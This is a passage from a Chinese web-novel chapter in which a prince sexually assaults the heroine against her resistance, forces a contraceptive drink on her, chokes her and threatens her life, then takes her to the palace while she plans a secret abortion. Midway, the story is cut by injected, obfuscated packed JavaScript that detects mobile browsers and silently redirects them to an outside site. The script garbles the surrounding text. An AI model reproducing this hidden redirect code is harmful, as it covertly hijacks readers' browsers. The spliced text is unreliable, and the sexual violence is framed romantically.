“泠川,你肚兜后面系的扣子,我已经熟悉到闭着眼都能把它解开了。”
他有意羞辱泠川,把她的肚兜扯下来,在她眼前晃来晃去,她只能堪堪用一层单薄的外衣遮羞。
“你还遮遮掩掩地做什么……我养活你不就是干这个用的吗?再说,你不也有得了趣的时候,挺乐在其中的吗?”
她闭紧双眼,咬着下唇,不出发出半点声音。
他满怀恶意又熟练地刺激着她,逼她出声。
“紧紧夹着做什么……倒不如再张开些,与我个方便。”
他讽刺一笑,搂着她的腰,凑到她耳畔说:
“哦,对,你说过把腿夹起来反倒更能得趣是吧……”
“闭嘴!”
泠川原本面色惨白,在他的不断刺激下也变得涨红,
“停手……放开我……”
他完全不理会她的抗拒,猛地用力扳开她的膝盖。
耻辱心让泠川使劲挣扎了两下,却无济于事。
事后,顾时满怀恶意地贴着她耳畔问:
“一开始还挺抗拒的,结果两三下后又同从前一样了……泠川,你何苦反抗那两下子?以为假模假式地扭两下就变成贞洁烈女了?”
他特地命金盏熬了碗避子汤来,亲手递到泠川面前。
“老老实实地把避子汤喝了吧,你别想生下我的孩子。”
她嘴唇发抖,接过一碗汤药,手抖着一口气把药闷了,她也不怕吃药。
“无非就是一碗汤药,我喝便喝了,没什么可矫情的。”
她不知这避子汤是否会对她腹中的胎儿产生影响……但她现在只想苟活下去,她家里是没人了,可是她还答应过秦思昭不能寻死。
虽然她没脸再去见他,但她希望自己能守住对他的承诺。
泠川没看顾时的眼睛,犹豫几次,最终还是开口试探道:
“若是我意外怀孕,只悄悄打掉就是了……你为什么要把我毒死?”
“哪有什么意外?不过是你处心积虑算计我,故意怀上我的孩子,想让我为难……你说我怎能留一个故意算计我的女人在身边?”
他一只手掐上她的脖子。
“再说我想弄死你就弄死你,需要什么理由?我杀了你就跟捏死一只蚂蚁一样简单,难道还能有人冒着得罪我的风险给你伸冤不成?”
泠川露出求饶的表情。
“放过我吧,我知道了……”
她不自觉地捂住了肚子,最好是瞒着王爷,神不知鬼不觉地把腹中这个胎儿解决掉,这样她还有几分活路。
顾时松开手冷笑道:
“你平时不是寻死觅活的,从来不怕死吗?怎么今天反倒知道怕了?”
泠川心想,因为她答应过秦思昭不能死,这个承诺是他们相遇过的证据,所以她必须遵守。
“因为我想通了……”
她低下头,一副服输了的样子。
顾时伸手摸了摸她的头发,心里却莫名难过。
他并不是要拿性命要挟,令泠川对他卑躬屈膝,他只是因泠川不像他想象中那样爱他而恼羞成怒。
他想跟泠川解释说他刚才都是在说气话,可是又拉不下这个面子。
“你只要一切都听从我的,我不会把你怎么样。”
她低着头,只低声道:
“王爷还有公务要处理,别在这里浪费时间了。”
听出了泠川的言外之意是要赶他走,顾时又觉得火气上涌。
“我确实在宫中还有公务要处理,但也不想纵着你独自在王府潇洒……你不如跟在我身边伺候。”
他一字一顿,咬牙切齿地说。
泠川的脸色变得惨白,她怀孕的事不能再拖下去了,她得赶紧趁顾时不在去找女医寻个堕胎的法子。
“这恐怕不合规矩……我不敢去……”
他反手扣住她的手腕,笑道:
“不合规矩的事多了,我们也没少干,待我登基之后,想怎么不合规矩就怎么不合规矩,谁能管得了我?”
泠川犹豫着开口:
“王爷,待您登基后,只求你给我一处宅子,每月发些银两……我一个人将就着过就是了,绝不会打扰您。”
“怎么,你要跟我断绝关系?各过各的?”
顾时气得摔了一个杯子。
“也对,到时候我三宫六院七十二妃,很快就把你忘了,你倒也聪明,不来凑这个热闹。”
顾时发了一通火,泠川也没心思去哄他,满脑子都是怎么解决腹中胎儿的事。
他见泠川神游天外,气得直接把她衣衫不整地抱到马车里,直接带她去了皇宫。
泠川没穿里衣,只穿了一件外衣,薄薄地搭在单薄的身体上,她只得披着顾时的外套。
他摸了摸她的后脊骨,冷哼一声:
“让你长个记性。”
泠川只得借了一身宫女的衣裳换上,顾时看了颇为不喜,她略带冷冽的气质和宫女的草绿色衣衫并不相称,平白减了几分姿色。
他传唤了相熟的老宫女:
“把那件缥色越罗襦裙拿来。”
老宫女露出惊讶的神色,又确认了一遍:
“真要拿那件越罗襦裙么?”
他点点头。
过了一会儿,老宫女找出了一个金丝楠木的旧箱子,里面的越罗襦裙已经半旧,但依旧能看出不凡的质感。
“给她把这件裙子换上吧。”
老宫女只点头称是,颤颤巍巍地把越罗襦裙拿出,生怕一个不小心把这襦裙弄坏了。
“姑娘,这裙子贵重,可糟蹋不得,您要穿得仔细些,千万别弄坏了。”
她有些纳闷,再贵重也无非就是一件裙子,不管是什么样的绫罗绸缎,她在王府里都糟蹋好多了,怎么偏偏这件裙子就糟蹋不得?
而且这件裙子看起来还有点年头了呢……
这样淡青色的半旧裙子,若是别的姑娘穿上恐怕有几分老气,可泠川穿上却给她妩媚冷冽的双眼添了几分疏离。
这裙子已经半旧褪色,但因此却更显得华贵不凡,寒光凛凛。
老宫女看着她,感叹道:
“若是太妃有个女儿,恐怕也是这般神仙模样。”
她用帕子拭泪道:
“可惜太妃走得太早了……她貌美动人的样子还时常浮现在我眼前……她的双眼总是冷冰冰的,可心肠却是热极了的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491321|170155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>顾时冷笑道:
“老太妃若是有个女儿,恐怕要同先帝一般。”
他直接拉着泠川的手:
“这裙子不过借你穿一穿,千万别弄坏了。”
泠川内心狐疑,什么时候顾时这么爱惜财物了,没忍住问:
“为何给我穿这样贵重的东西呢。”
他表情略有些不耐烦,
“给你你就穿着吧,过来给我磨墨。”
泠川给他磨墨,刚站了一会儿便哈欠连连,觉得腰肢酸软,神游天外。
一个不留神,墨滴到了袖口上,泠川也无知无觉。
“顾时,我得去小榻上歇一会儿,我干不来这个。”
她揉了揉腰:
“站久了腰酸。”
他伸手一抚她的袖子,看到一滴墨渍,他擒住她的手腕,冷笑道:
“泠川,你可真是好大的胆子,竟然敢把袖子弄脏。”
她后知后觉地查看了自己的袖子,憋红了脸恼羞成怒道:
“不过是一件衣裳,我不过是弄了一滴墨上去罢了,你真是小肚鸡肠。”
泠川已经忍他很久了,事不过三,不过是一件旧衣服罢了,顾时也要来找她的茬,她便气势汹汹地要与顾时拌嘴。
那老宫女见状,赶紧上前劝道:
“姑娘,那可是老太妃的遗物啊……”
泠川的脸瞬间因羞愧而红透了,自己确实不对,竟然无意中弄脏了顾时母亲的遗物。
可她还在气头上,便对着老宫女说:
“那快点把这身衣裳脱下来吧……如此贵重,要是弄脏弄坏了我可担待不起。”
老宫女十分为难,看向顾时。
他却只一味处理一些公务,表情平淡无波。
“泠川,我这些日子还要接见几个大臣,很多工作需要交接,你先住下吧,宫闱重地,由不得你没规矩地胡闹。”
她心想自己腹中还有个胎儿没解决,便惴惴不安起来。
“我……我也没理住在这儿,我还是把衣裳还给你,自己回去吧……”
那老宫女看了看顾时的眼色,说:
“姑娘不如先在琮翠殿住下吧……那里一直都收拾得很干净呢……”
顾时点了点头。
“那便带她去琮翠殿吧。”
泠川走在皇宫里,莫名觉得身旁的宫女都在斜着眼看她,她红着脸低下头去,估计她们都在揣测自己和顾时是什么关系,在背后嚼舌根呢。
这皇宫待着可真别扭,她什么身份都不是,根本没资格来。
那一道道视线像钝刀子一样割在她的身上,泠川觉得难受极了。
“姑娘,不要紧张,琮翠殿是王爷小时候住的地方,一直都收拾的很干净呢。”
那老宫女似乎看出她的别扭,出言安慰道。
泠川没心思去想让她住琮翠殿是什么意思,无意识地捂住了自己的肚子,她希望自己能显怀得慢一些。
她绝望地想,自己总不能去求助宫里的御医帮她堕胎吧……宫里都是顾时的人,眼线密密麻麻,肯定很快就会暴露的……
顾时都已经把话说绝了,难道她真的要赌他会对她心软么?她还没蠢到那个份上。